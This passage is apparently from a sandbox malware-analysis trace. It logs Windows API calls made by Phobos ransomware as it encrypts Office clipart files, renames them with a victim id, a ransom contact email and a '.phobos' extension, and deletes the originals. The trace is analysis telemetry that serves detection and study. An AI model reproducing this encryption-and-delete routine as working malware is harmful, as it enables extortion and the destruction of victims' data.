hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752e58) returned 1 [0139.755] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.755] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0xa442, lpOverlapped=0x0) returned 1 [0139.795] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xa450, dwBufLen=0xa450 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xa450) returned 1 [0139.795] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xa450, lpOverlapped=0x0) returned 1 [0139.796] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752ad8) returned 1 [0139.796] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.796] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0139.797] CryptDestroyKey (hKey=0x752ad8) returned 1 [0139.797] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0139.797] CryptDestroyKey (hKey=0x752e58) returned 1 [0139.797] CloseHandle (hObject=0x310) returned 1 [0139.797] CloseHandle (hObject=0x2b4) returned 1 [0139.797] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 1 [0139.798] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0139.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.799] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=24759) returned 1 [0139.799] CloseHandle (hObject=0x2b4) returned 1 [0139.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 0x220 [0139.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.799] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.799] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.799] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752f98) returned 1 [0139.799] CryptSetKeyParam (hKey=0x752f98, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.799] ReadFile (in: hFile=0x2b4, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x60b7, lpOverlapped=0x0) returned 1 [0139.874] CryptEncrypt (in: hKey=0x752f98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x60c0, dwBufLen=0x60c0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x60c0) returned 1 [0139.874] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x60c0, lpOverlapped=0x0) returned 1 [0139.875] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x7531d8) returned 1 [0139.875] CryptSetKeyParam (hKey=0x7531d8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.876] CryptEncrypt (in: hKey=0x7531d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0139.876] CryptDestroyKey (hKey=0x7531d8) returned 1 [0139.876] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0139.876] CryptDestroyKey (hKey=0x752f98) returned 1 [0139.876] CloseHandle (hObject=0x2b4) returned 1 [0139.876] CloseHandle (hObject=0x310) returned 1 [0139.876] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 1 [0139.877] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0139.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.877] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=18258) returned 1 [0139.877] CloseHandle (hObject=0x310) returned 1 [0139.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 0x220 [0139.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.877] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.877] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.878] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752d18) returned 1 [0139.878] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.878] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x4752, lpOverlapped=0x0) returned 1 [0139.893] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x4760, dwBufLen=0x4760 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x4760) returned 1 [0139.893] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x4760, lpOverlapped=0x0) returned 1 [0139.894] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752a58) returned 1 [0139.894] CryptSetKeyParam (hKey=0x752a58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.894] CryptEncrypt (in: hKey=0x752a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0139.895] CryptDestroyKey (hKey=0x752a58) returned 1 [0139.895] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0139.895] CryptDestroyKey (hKey=0x752d18) returned 1 [0139.895] CloseHandle (hObject=0x310) returned 1 [0139.895] CloseHandle (hObject=0x2b4) returned 1 [0139.896] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 1 [0139.897] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0139.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.897] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=26086) returned 1 [0139.897] CloseHandle (hObject=0x2b4) returned 1 [0139.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220 [0139.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.897] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.897] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.898] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753098) returned 1 [0139.898] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.898] ReadFile (in: hFile=0x2b4, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x65e6, lpOverlapped=0x0) returned 1 [0139.911] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x65f0, dwBufLen=0x65f0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x65f0) returned 1 [0139.912] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x65f0, lpOverlapped=0x0) returned 1 [0139.913] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x7530d8) returned 1 [0139.913] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.913] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0139.913] CryptDestroyKey (hKey=0x7530d8) returned 1 [0139.913] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0139.913] CryptDestroyKey (hKey=0x753098) returned 1 [0139.913] CloseHandle (hObject=0x2b4) returned 1 [0139.913] CloseHandle (hObject=0x310) returned 1 [0139.913] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0139.914] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0139.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.914] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=13874) returned 1 [0139.914] CloseHandle (hObject=0x310) returned 1 [0139.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 0x220 [0139.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.915] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.915] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.915] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753198) returned 1 [0139.915] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.915] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x3632, lpOverlapped=0x0) returned 1 [0139.944] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3640, dwBufLen=0x3640 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3640) returned 1 [0139.944] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x3640, lpOverlapped=0x0) returned 1 [0139.945] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x7531d8) returned 1 [0139.945] CryptSetKeyParam (hKey=0x7531d8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.945] CryptEncrypt (in: hKey=0x7531d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0139.945] CryptDestroyKey (hKey=0x7531d8) returned 1 [0139.945] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0139.945] CryptDestroyKey (hKey=0x753198) returned 1 [0139.945] CloseHandle (hObject=0x310) returned 1 [0139.945] CloseHandle (hObject=0x2b4) returned 1 [0139.945] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1 [0139.946] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0139.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.946] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=6929) returned 1 [0139.946] CloseHandle (hObject=0x2b4) returned 1 [0139.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220 [0139.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.947] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.947] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.947] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752dd8) returned 1 [0139.947] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.947] ReadFile (in: hFile=0x2b4, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x1b11, lpOverlapped=0x0) returned 1 [0139.959] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1b20, dwBufLen=0x1b20 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1b20) returned 1 [0139.959] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x1b20, lpOverlapped=0x0) returned 1 [0139.960] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752e58) returned 1 [0139.960] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.960] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0139.960] CryptDestroyKey (hKey=0x752e58) returned 1 [0139.960] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0139.960] CryptDestroyKey (hKey=0x752dd8) returned 1 [0139.960] CloseHandle (hObject=0x2b4) returned 1 [0139.960] CloseHandle (hObject=0x310) returned 1 [0139.960] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0139.961] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0139.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.961] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=13954) returned 1 [0139.961] CloseHandle (hObject=0x310) returned 1 [0139.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 